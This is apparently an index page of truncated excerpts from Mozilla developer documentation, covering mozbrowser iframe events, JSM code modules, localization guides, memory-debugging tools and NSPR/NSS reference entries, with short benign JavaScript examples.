JavaScript object with the following properties: type A DOMString representing the type of error that occurred. Possible values are: fatal(crash) unknownProtocolFound fileNotFound dnsNotFound connectionFailure netInterrupt netTimeout cspBlocked phishingBlocked malwareBlocked unwantedBlocked offline malformedURI redirectLoop unknownSocketType netReset notCached ispri...
mozbrowserfindchange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: active A Boolean indicating whether a search is currently active (true), or not (false.) searchString A DOMString representing the string that is currently being searched for. searchLimit A number indicating the maximum number of searches that can be returned. numberOfMatches A number indicating the number of matches returned by the search. activeM...
mozbrowsericonchange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: href A DOMString representing the path to the new icon. sizes A DOMString listing the sizes the new icon is available in, e.g. "16x16" or "16x16 32x32". The any keyword can also be used, to represent "any size." rel A DOMString representing the rel attribute value from the <link> element used to link to the icon. Example var browser = document.que...
mozbrowserloadend
target Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. detail The detail property returns an anonymous
JavaScript object with the following properties: backgroundColor A DOMString representing the main background color of the browser <iframe> content, expressed as an RGB value. Can be used to make the theme of the surrounding UI complement the theme of the currently loaded content, for example. Example In this example the mozbrowserloadstart and mozbrowserloadend events are used to change the icon sho...
mozbrowserlocationchange
target Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. detail The detail property returns an anonymous
JavaScript object with the following properties: url A DOMString representing the URL of the new location. canGoBack A Boolean that defines whether it's possible to go back in the navigation history (true) or not (false). canGoForward A Boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). Example This example updates the URL bar so that it will...
mozbrowsermanifestchange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: href The URL of the new app manifest. Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowsermanifestchange", function(event) { console.log("New manifest URL: " + event.details.href); }); Related Events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend moz...
mozbrowsermetachange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: name A DOMString representing the <meta> name attribute value. This can be viewmode, theme-color, theme-group, or application-name. content A DOMString representing the <meta> content attribute value, i.e. the content of the meta tag. type A DOMString representing the type of meta change that this event object represents. This can be added, changed, r...
mozbrowseropensearch
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: title A DOMString representing the title of the search engine. href A DOMString representing URL of the search engine. Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowseropensearch", function( event ) { console.log("New search engine encountered: " + event.details.title); }); Related Events mozbrowseras...
mozbrowseropentab
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: url A DOMString representing the URL of the new document loaded. Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowseropentab", function( event ) { console.log("A new document has opened containing the content at " + event.details.url + "."); }); Related Events mozbrowserasyncscroll mozbrowserclose mozbro...
mozbrowseropenwindow
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: url A DOMString representing the URL of the document loaded within the frameElement property. name A DOMString representing the name of the new browser window. features A DOMString containing features represented by a list of names and values separated by commas. For a complete list of possible features, see window.open(). frameElement An object rep...
mozbrowserresize
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: width A number representing the new width of the <iframe> viewport, in device pixels. height A number representing the new height of the <iframe> viewport, in device pixels. Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowserresize", function( event ) { console.log("The new window size is " + event.details.
mozbrowserscroll
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: top A number representing the new vertical scroll position of the <iframe> viewport -- in CSS pixels -- from the top of the viewport. left A number representing the new horizontal scroll position of the <iframe> viewport -- in CSS pixels -- from the left of the viewport. Example var browser = document.querySelector("iframe"); browser.addEventListene...
mozbrowserscrollareachanged
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: width A number representing the new scroll area width of the <iframe> viewport, in CSS pixels. height A number representing the new scroll area height of the <iframe> viewport, in CSS pixels. Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowserscrollareachanged", function( event ) { console.log("The new scro...
mozbrowserscrollviewchange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: state A DOMString representing the current state of scrolling in the viewport -- available values are started and stopped. Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowserscrollviewchange", function( event ) { console.log("Scrolling has " + event.details.state + "."); }); Related Events mozbrowserasync...
mozbrowsersecuritychange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: state A DOMString representing the current state of SSL security. Possible values are: broken: Indicates an unknown security state. This may mean that the request is being loaded as part of a page in which some content was received over an insecure channel. secure: Indicates that the data corresponding to the request was received over a secure chann...
mozbrowserselectionstatechanged
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: rect An object that represents the bounding rectangle of the selection. Its properties are: width: The width of the selection, in CSS pixels. height: The height of the selection, in CSS pixels. top: The Y coordinate of the top of the bounding box, in CSS pixels. bottom: The Y coordinate of the bottom of the bounding box, in CSS pixels. left: T...
mozbrowsershowmodalprompt
target Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property is an anonymous
JavaScript object with the following properties: promptType A DOMString defining the type of the prompt. It can be alert, confirm, or prompt. title A DOMString representing the title of the prompt. message A DOMString representing the value passed to the window.alert(), window.confirm(), or window.prompt() methods within the browser <iframe>'s content. returnValue A DOMString representing the retu...
mozbrowserusernameandpasswordrequired
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following members: host A DOMString representing the host requesting the HTTP authentification. realm A DOMString representing the value of the realm HTTP header. isProxy A Boolean indicating whether the server dealing with the authentication is a proxy server (true) or not (false). authenticate() A function that is called to enable the authentication to go ahead. It nee...
mozbrowservisibilitychange
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: visible A Boolean that indicates whether the browser iframe is visible (true) or not (false). Example var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowservisibilitychange", function( event ) { if(event.details.visible) { console.log("The browser is visible."); } else { console.log("The browser is hidden."); ...
overflow-clip-box-block
mples padding-box HTML <div class="things"> <input value="ABCDEFGHIJKLMNOPQRSTUVWXYZAAO" class="scroll padding-box"> <div class="scroll padding-box"><span>ABCDEFGHIJKLMNOPQRSTUVWXYZAAO</span></div> </div> CSS .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; }
JavaScript function scrollSomeElements() { var elms = document.querySelectorAll('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollLeft=80; } } var elt = document.queryElementsByTagName('body')[0]; elt.addEventListener("load", scrollSomeElements, false); Result Specifications This property has been proposed to the W3C CSSWG; it is not yet on the standard track but, if accepted, sh...
overflow-clip-box-inline
ples padding-box HTML <div class="things"> <input value="ABCDEFGHIJKLMNOPQRSTUVWXYZAAO" class="scroll padding-box"> <div class="scroll padding-box"><span>ABCDEFGHIJKLMNOPQRSTUVWXYZAAO</span></div> </div> CSS .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; }
JavaScript function scrollSomeElements() { var elms = document.querySelectorAll('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollLeft=80; } } var elt = document.queryElementsByTagName('body')[0]; elt.addEventListener("load", scrollSomeElements, false); Result Specifications This property has been proposed to the W3C CSSWG; it is not yet on the standard track but, if accepted, sh...
MozBeforePaint
Usage outline In order to time your animation, the first thing you need to know is the time base; that is, the time at which your animation sequence started. You can determine this value by looking at window.mozAnimationStartTime. This new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running. With that value in hand, you can then schedule all your subsequent animation frames. ...
Chrome-only Events reference
This page lists events that are only available in Gecko Chrome code (and sometimes in other privileged circumstances, eg. UA widgets). MozBeforePaintGecko 2.0 adds a new method for performing
JavaScript controlled animations that synchronize not only with one another, but also with CSS transitions and SMIL animations being performed within the same window.MozScrolledAreaChangedThe MozScrolledAreaChanged event is fired when the document view has been scrolled or resized. smartcard-insertThe smartcard-insert event is fired when the insertion of a smart card has been detectedsmartcard-removeThe smartcard-remove event is fired when the removal of a smart card has been detected. ...
Gecko SDK
Note that in order to develop such components, you do not need the full sources of e.g. Firefox, since you do not access parts of the front end from within a component. Furthermore, since a component contains basic functionality, it is intended to run with every product of the Mozilla platform. Therefore it makes no sense to use a particular product to build general functionality. That's the reason why the Gecko SDK was devised. ...
Gecko
In XUL-based applications Gecko also renders the application's user interface. Gecko is used in many applications, including a few browsers such as Firefox and SeaMonkey (for a complete list, please refer to Wikipedia's article on Gecko). Products using the same version of Gecko have identical support for Web standards. ...
IME handling guide
editor has not been destroyed yet too, TextComposition dispatches an eCompositionEnd event which will cause a DOM compositionend event. Limitation of handling composition Currently, EditorBase touches undo stack at receiving every WidgetCompositionEvent. Therefore, EditorBase requests to commit composition when the following cases occur: The editor loses focus The caret is moved by mouse or
Javascript Value of the editor is changed by
Javascript Node of the editor is removed from DOM tree Somethings object is modified in an HTML editor, e.g., resizing an image Composition string is moved to a different position which is specified by native IME (e.g., only a part of composition is committed) In the future, we should fix this limitation. If we make EditorBase not touch undo stack until com...
Assert.jsm
The Assert.jsm
JavaScript code module implements the CommonJS Unit Testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting. To use it, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://testing-common/Assert.jsm"); The Assert class offers methods for performing common logical assertions. Method overview undefined ok(value, message); undefined equal(actual, expected, message); undefined notEqual(actual, expected, message); undefined deepEqual(actual, expected, message); undefined notDeepEqual(actual, expected, message); undefined strictEqual(actual, expected, message); ...
AsyncShutdown.jsm
escription profileBeforeChange Read only Phase The profile is about to be unmounted. This phase represents the last chance to write data to the profile directory. sendTelemetry Read only Phase Telemetry is being sent. This phase represents the last chance for Telemetry to write data. webWorkersShutdown Read only Phase
JavaScript threads are about to be killed. This phase represents the last chance to communicate with a
JavaScript worker, in particular with OS.File. ...
CustomizableUI.jsm
It is available in the Firefox window as the CustomizableUI property on the window. If you want to use it from a JSM or another context without a window reference, you need to import it yourself: Components.utils.import("resource:///modules/CustomizableUI.jsm"); Introduction The module is intended for two primary purposes: Allow adding, moving and removing customizable widgets. Manage the areas in which these widgets are shown. ...
DeferredTask.jsm
Firefox 28 note Interface was changed in Firefox 28, and old methods were removed. The DeferredTask.jsm
JavaScript code module offers utility routines for a task that will run after a delay. Multiple attempts to run the same task before the delay will be coalesced. To use it, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/DeferredTask.jsm"); Use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards. With DeferredTask, the task is delayed by a few milliseconds and, should a new change to the data occur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes. ...
Dict.jsm
Introduced in Firefox 5, this is now obsolete and has been removed in Firefox 40: use ES2015 Map. The Dict.jsm
JavaScript code module offers routines for managing dictionaries of key/value pairs. To use it, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/Dict.jsm"); Creating a dictionary You can create a new, empty dictionary by simply calling the Dict() constructor: var newDict = new Dict(); If you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someObj = {}; var newDict = new Dict({key1: "foo", key2: someObj}); Note that values may be any
JavaScript object type. Note: You can actually specify non-strings as keys; these are converted to strings befo...
DownloadLastDir.jsm
The DownloadLastDir.jsm
JavaScript code module lets you retrieve the path of the last directory into which a download occurred. To use this, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/DownloadLastDir.jsm"); If you are using Addon SDK, you can import the code module as: let { Cu } = require("chrome"); let DownloadLastDir = Cu.import("resource://gre/modules/DownloadLastDir.jsm").DownloadLastDir; Once you've imported the module, you can then use the DownloadLastDir object it exports. Using the DownloadLastDir object To determine or set the path into which the last download occurred: // file is an nsIFile var file = DownloadLastDir.file; DownloadLastDir.file = file; You can also set and retrieve this information on a ...
Downloads.jsm
The Downloads.jsm
JavaScript code module provides a single entry point to interact with the downloading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrieving download-related configuration. To use it, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/Downloads.jsm"); Method overview Promise<Download> createDownload(Object aProperties); Promise<void> fetch(aSource, aTarget, [optional] Object aOptions); Promise<DownloadList> getList(aType); Promise<DownloadSummary> getSummary(aType); Constants Constant Description PUBLIC Work on downloads that were not started from a private browsing window. PRIVATE ...
FxAccountsOAuthClient.jsm
Components.utils.import("resource://gre/modules/FxAccountsOAuthClient.jsm"); Creating a new FxAccountsOAuthClient new FxAccountsOAuthClient(Object options); Method overview launchWebFlow(); tearDown(); Attributes parameters Object Returns the set of parameters that initialized the Firefox Accounts OAuth flow. onComplete Function Gets called when the Firefox Accounts OAuth flow successfully completes. First and only argument is an Object that has "state" and "code" properties. Constructor FxAccountsOAuthClient() Creates and returns a new FxAccountsOAuthClient object. ...
FxAccountsProfileClient.jsm
The modules uses the Firefox Profiler Server API. Components.utils.import("resource://gre/modules/FxAccountsProfileClient.jsm"); Creating a new FxAccountsProfileClient new FxAccountsProfileClient(Object options); Method overview fetchProfile(); Attributes serverURL URL Profiler server URL. token String Bearer token. Constructor FxAccountsProfileClient() Creates and returns a new FxAccountsProfileClient object. FxAccountsProfileClient FxAccountsProfileClient( Object options String serverURL, String token ); Parameters serverURL - Firefox Profile server url. ...
Geometry.jsm
The Geometry.jsm
JavaScript code module provides routines for performing common geometry operations on points and rectangles. It exports two classes: Point and Rect. To use these routines, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/Geometry.jsm"); Once you've imported the module, you can then use the Point and Rect classes. Note: Although this module is usable from mobile, and is present in Firefox 4, it's currently not used in Firefox 4 and attempting to use it may produce unreliable results there. ...
Interfacing with the Add-on Repository
You an use the code module to get lists of add-ons and even install new add-ons. This article provides some sample code that queries the recommended add-ons list on AMO and lets the user click a button to install an add-on from the list. Importing the repository code module Before you can use the Add-on Repository API, you need to import the code module: Components.utils.import("resource://gre/modules/AddonRepository.jsm"); Having done this, you can then access the API through the resulting AddonRepository object. ...
Log.jsm
This module is still under development. Until stabilized, expect frequent updates, including different interfaces and behavior in different versions of the platform. Progress is tracked in Bugzilla using dependencies of bug 451283. The Log.jsm
JavaScript code module (formerly named log4moz.js) provides a log4j style API for logging log messages to various endpoints, such as the Browser Console or a file on disk. To use it, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/Log.jsm"); Basic usage Components.utils.import("resource://gre/modules/Log.jsm"); // Get a logger, give it a name unique to this chunk of code. // Use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under som...
PerfMeasurement.jsm
Before you can use this module, you need to import it into your scope: Components.utils.import("resource://gre/modules/PerfMeasurement.jsm") See Measuring performance using the PerfMeasurement.jsm code module for details on how to use this API. Note: At present, PerfMeasurement.jsm is only functional on Linux, but it is planned to add support for Windows (bug 583322) and OSX (bug 583323) as well, and we welcome patches for other operating systems. ...
PromiseUtils.jsm
This method was previously implemented as Promise.defer(), which is obsolete since Gecko 30. And PromiseUtils.defer uses DOM Promise instead of Promise.jsm's Promise. Deferred defer(); Parameters None. Return value A new object, containing the new promise in the promise property, and the methods to change its state in the resolve and reject properties. ...
SourceMap.jsm
al: An object with the original line and column positions. source: The original source file (relative to the sourceRoot). name: An optional original token name for this mapping. SourceMapGenerator.prototype.toString() Renders the source map being generated to a string. SourceNode SourceNodes provide a way to abstract over interpolating and/or concatenating snippets of generated
JavaScript source code, while maintaining the line and column information associated between those snippets and the original source code. This is useful as the final intermediate representation a compiler might use before outputting the generated JS and source map. new SourceNode(line, column, source[, chunk]) line: The original line number associated with this source node, or null if it isn't associ...
Timer.jsm
The Timer.jsm
JavaScript code module contains pure-
JavaScript implementations of setTimeout, clearTimeout, setInterval, and clearInterval that are compatible with the DOM window functions, but that can be used by code that does not have access to a DOM window (for example,
JavaScript code modules or content frame scripts). To use Timer.jsm, first import it: Components.utils.import("resource://gre/modules/Timer.jsm"); Then call setTimeout and clearTimeout just as you would in a DOM window, for example: let timeoutID = setTimeout(function() { console.log("Hello!"); }, 500); clearTimeout(timeoutID); Similarly, you can use setInterval and clearInterval like so: let intervalID = setInterval(function() { console.log("Happening every 500ms!"); }, 500); clearInterval(intervalID); ...
WebChannel.jsm
Components.utils.import("resource://gre/modules/WebChannel.jsm"); Constructor WebChannel(String webChannelId, nsIURI originOrPermission); 2nd argument is a valid origin that should be part of requests for this channel. WebChannel(String webChannelId, string originOrPermission); 2nd argument is a permission for which the permission manager will be checked to determine if the request is allowed. ...
Localization content best practices
strings, ask a copywriter to do a copy review of this text. Ideally, all strings landing in code should originate from approved UX wireframes, any copy review should be part of the initial stage of creating these wireframes. Use Unicode characters over their ASCII counterparts when possible Strings should use directional quotation marks when possible. U+2018 and U+2019 (\u2018 and \u2019 in
JavaScript) are the left and right single quotation marks, respectively. The right single quotation mark should be used as an apostrophe. U+201C and U+201D (\u201c and \u201d in
JavaScript) are the left and right double quotation marks, respectively. The pair should be used to surround statements and references to user input. Example: You have chosen a keyword that is currently in use by "%S". Pleas...
Localizing with Koala
this document. They can be found in two files, inside the browser/chrome/browser directory: searchbar.dtd, search.properties. The difference between DTD and .properties files in the moment when they are used by the application. DTD's files are read by the XML parser, which goes through the XUL files used in Mozilla to create the interface when it launches. The .properties files are used in the
JavaScript code while the application is already running. That's why the string "Add %s..." (where %s is replaced by the search engine's name, like 'MDC Search') is found in search.properties file. It has to be generated every time the user switches between pages. On the other hand, "Manage Search Engines..." is generated only once, on start-up, and doesn't need to change. Therefore, it is located in search...
Creating localizable web applications
calizers to accidentally change them. You can learn more about the choice of the format for your project at File formats. Text messages Don't hardcode English content Allow localizers to localize English content, such as: text messages, number formats, date formats, word order and sentence structure. Note that some strings might be hidden in libraries' code (e.g. error messages), or in
JavaScript libraries and scripts. If you are using pure HTML instead of gettext to localize your webapp, consider using an additional gettext-like format such as .lang to streamline localizers' work with repeating content. This is useful for strings occurring in the webapp multiple times, like "return to top", "comments", "click to see larger image" etc. Might be also helpful for headers and footers, if yo...
Mozilla Framework Based on Templates (MFBT)
Its code resides in the mfbt/ source directory, but headers within it should be included using paths like "mozilla/StandardInteger.h". It is fairly new, so its functionality is currently sparse. Feel free to file bugs to add new functionality to it, or to move existing functionality into it, as needed. mfbt code goes to some length to document all its interfaces in comments, including examples when possible. ...
Extras
requiredExtensions="http://www.w3.org/1998/Math/MathML"> <math display="block"> <mrow> <munderover> <mo>?</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>?</mi> </mrow> </munderover> <mfrac> <msup> <mi>?</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignObject> <text>exp(?)</text> </switch> </g> </g> </svg> </div> Inline
JavaScript HTML Content <math display="block"> <mfrac> <mtext id="num">Mouse</mtext> <mtext id="denum">Over</mtext> </mfrac> </math>
JavaScript Content function whoIsThereAlert(evt) { alert("Who is there?"); } function attachListener(id) { document.getElementById(id).addEventListener("mouseover", whoIsThereAlert); } function init() { attachListener("num"); attachListener("denum"); } window...
MathML Torture Test
addEventListener("change", updateMathFont, false) } window.addEventListener("load", ...
MathML In Action
addEventListener("click", zoomToggle, false); } window.addEventListener("load", load, false); C...
Automated performance testing and sheriffing
the Perfherder web application where performance sheriffs watch for significant regressions, filing bugs as appropriate. Current list of automated systems we are tracking (at least to some degree): Talos: The main performance system, run on virtually every check-in to an integration branch Build Metrics: A grab bag of performance metrics generated by the build system AreWeFastYet: A generic
JavaScript and Web benchmarking system AreWeSlimYet: A memory benchmarking tool ...
BloatView
arge number of refcounts. If you find leaks, you can use refcount tracing and balancing to discover the root cause. Combining and sorting bloat logs You can view one or more bloat logs in your browser by running the following program. perl tools/bloatview/bloattable.pl log1 log2 ... logn > htmlfile This will produce an HTML file that contains a table similar to the following (but with added
JavaScript so you can sort the data by column). Byte Bloats Name File Date blank blank.txt Tue Aug 29 14:17:40 2000 mozilla mozilla.txt Tue Aug 29 14:18:42 2000 yahoo yahoo.txt Tue Aug 29 14:19:32 2000 netscape netscape.txt Tue Aug 29 14:20:14 2000 The numbers do not include malloc 'd data such as string contents. Click on...
DMD
--debug to run under gdb. Trigger There are three ways to trigger a DMD snapshot. Visit about:memory and click the DMD button (depending on how old your build is, it might be labelled "Save" or "Analyze reports" or "DMD"). The button won't be present in non-DMD builds, and will be grayed out in DMD builds if DMD isn't enabled at start-up. If you wish to trigger DMD dumps from within C++ or
JavaScript code, you can use nsIMemoryInfoDumper.dumpMemoryToTempDir. For example, from
JavaScript code you can do the following. const Cc = Components.classes; let mydumper = Cc["@mozilla.org/memory-info-dumper;1"] .getService(Ci.nsIMemoryInfoDumper); mydumper.dumpMemoryInfoToTempDir(identifier, anonymize, minimize); This will dump memory reports and DMD output to the temporary direct...
Leak-hunting strategies and tips
ect Many large object graphs that leak go through XPConnect. This can mean there will be XPConnect wrapper objects showing up as owning the leaked objects, but it doesn't mean it's XPConnect's fault (although that has been known to happen, it's rare). Debugging leaks that go through XPConnect requires a basic understanding of what XPConnect does. XPConnect allows an XPCOM object to be exposed to
JavaScript, and it allows certain
JavaScript objects to be exposed to C++ code as normal XPCOM objects. When a C++ object is exposed to
JavaScript (the more common of the two), an XPCWrappedNative object is created. This wrapper owns a reference to the native object until the corresponding
JavaScript object is garbage-collected. This means that if there are leaked GC roots from which the wrapper is reachab...
Measuring performance using the PerfMeasurement.jsm code module
The first thing you need to do is to import the module into your scope: Components.utils.import("resource://gre/modules/PerfMeasurement.jsm") You can then create a PerfMeasurement object. You give the constructor a bit-mask of events you're interested in; see Note: At present, PerfMeasurement.jsm is only functional on Linux, but it is planned to add support for Windows (bug 583322) and OSX (bug 583323) as well, and we welcome patches for other operating systems. ...
Memory Profiler
eline. This gives some intuition of how and when a bulk of objects are allocated. However, it still relies on developers' wisdom, and sometimes chances, to dig out the problematical code snippet. This memory profiler is designed to solve the inconveniences and limitations. The goal is to identify the memory eager codes directly. The profiler is designed at the very beginning to support not only
JavaScript but also native codes. Naturally, not only
JavaScript objects but also native allocations are tracked. The profile while recording is stored in memory in a very compact format. It's supposed to profile a very long time period without problem. Timeline view This view shows the allocation event across the period of time. It shows the overall memory usage history. Red is allocate and blue is deall...
nglayout.debug.disable_xul_cache
To improve performance, Mozilla caches chrome XUL documents the first time they load for faster loading later. The effect is that the source XML file is not read and re-parsed each time the chrome in question is displayed. The XUL cache is serialized and saved between Mozilla sessions in the XUL FastLoad file, which saves a "compiled" version of the XUL and
JavaScript in a document to disk for faster startup the next time the application runs. During development of XUL applications, it's convenient to disable the XUL cache so that changes you make to files on disk take effect the next time the window or dialog is loaded (instead of the next time Mozilla starts). Possible values and their effects: True: Do not cache parsed XUL documents and do not save the cache to the XUL FastLoad file on ex...
Preferences
Mozilla preferences for uber-geeks A guide to preferences that only truly elite geeks should play with. Examples Code snippets Preference-related code snippets. Adding preferences to an extension How to add preferences to an existing extension. Related Topics XUL,
JavaScript, XPCOM, Extensions, Developing Mozilla ...
A guide to searching crash reports
e links in each "Signature" column cell have the same effect that they did in the "Signature facet" tab. The links in the remaining column cells also let you perform a narrower subsequent search with that link's value added to the search criteria. A narrower search You can add criteria to perform a narrower search. For example, to perform a search for all Mac crash reports that occurred while
JavaScript garbage collection was running, do the following. Add "Mac OS X" to the "Platform" field. Select "New line", and then choose a field ("is garbage collecting") and an operator ("is true"). The operators available for each field depends on its type. With these criteria added the search form looks like the following screenshot. After clicking on "Search" we get results like those in the fol...
Leak Monitor
Leak Monitor is a Firefox extension by L. David Baron that helps extension and chrome developers to find memory leaks. It will pop-up an alert when a window is closed and
JavaScript still links to that window (for example, an observer that is not cleared when the window closes). Obtain the extension on AMO (addons.mozilla.org) View more information on Leak Monitor on David Baron's page ...
AsyncTestUtils extended framework
vel event loop or spin our own nested event loop. AsyncTestUtils is currently implemented by the first method (yielding control to the top-level event loop). MozMill is an example of a testing framework that uses a nested event loop. In the future we will probably move the AsyncTestUtils framework to a nested event loop in a backwards-compatible fashion. How does this affect my tests? Thanks to
JavaScript enhancements available on the Mozilla platform, it is possible for a function to yield control in such a way that the function stops running at the line where you use a yield statement and resumes execution on the next line when resumed. This allows you to write reasonably normal looking functions instead of having to chain together a whole bunch of functions and callbacks. Your test functions ne...
MailNews automated testing
describe (and link to) the available test mechanisms within MailNews, and provide supporting information for developers and testers. Functional testing xpcshell-tests and make check These are core test harnesses to which MailNews adds its own tests. These tests are run against almost every changeset that gets committed to the Thunderbird and SeaMonkey code bases. xpcshell-tests are run in
JavaScript without any chrome present. This makes them especially useful for testing at the component / module level. xpcshell-tests are the quickest tests to run. MailNews provides additional facilities as described on the MailNews automated testing page (see below). "make check" is used to run compiled code tests. These tests can go beyond the limitations of xpcshell-tests (for example, access c++ code) ...
Midas
When Midas is enabled, the document becomes editable by the user. Scripting for Midas is based on the DHTML commands supported by Internet Explorer. Internet Explorer supports the ability to make an entire document editable by setting the designMode property of the document object; this is how Midas is invoked in Gecko. Internet Explorer also supports the ability to edit specific elements using the contentEditable attribute; Starting with Firefox 3, Gecko also supports contentEditable. ...
PRTime
versal Time (UTC). A time after the epoch has a positive value, and a time before the epoch has a negative value. In NSPR, we use the more familiar term Greenwich Mean Time (GMT) in place of UTC. Although UTC and GMT are not exactly the same in their precise definitions, they can generally be treated as if they were. Note: Keep in mind that while PRTime stores times in microseconds since epoch,
JavaScript date objects store times in milliseconds since epoch. ...
PRUnichar
An unsigned 16-bit type, like char in Java or the "characters" of a
JavaScript string defined in /mozilla/xpcom/base/nscore.h. Syntax #if defined(NS_WIN32) typedef wchar_t PRUnichar; #else typedef PRUInt16 PRUnichar; #endif ...
PR_Open
e is accessed. It is a bitwise OR of the following bit flags. In most cases, only one of the first three flags may be used. If the flags parameter does not include any of the first three flags (PR_RDONLY, PR_WRONLY, or PR_RDWR), the open file can't be read or written, which is not useful. NOTE: The constants PR_RDWR and friends are not in any interface (bug 433295). Thus they cannot be used in
JavaScript, you have to use the octal constants (see File I/O Snippets). Name Value Description PR_RDONLY 0x01 Open for reading only. PR_WRONLY 0x02 Open for writing only. PR_RDWR 0x04 Open for reading and writing. PR_CREATE_FILE 0x08 If the file does not exist, the file is created. If the file ex...
PR_cnvtf
address of the buffer in which to store the result. bufsz The size of the buffer provided to hold the result. prcsn The number of digits of precision to which to generate the floating point value. fval The double-precision floating point number to be converted. Description PR_cnvtf is a simpler interface to convert a floating point number to a string. It conforms to the ECMA standard of
Javascript (ECMAScript). On return, the result is written to the buffer pointed to by buf of size bufsz. ...
NSS API Guidelines
th Arenas This section discusses memory allocation using arenas. NSS code uses arenas, and this section explains some of the improvements we are making. NSS makes use of traditional memory allocation functions, wrapping NSPR's PR_Alloc in a util function called PORT_Alloc. Though NSS makes further use of an NSPR memory-allocation facility which uses 'Arenas' and 'ArenaPools'. This was added via
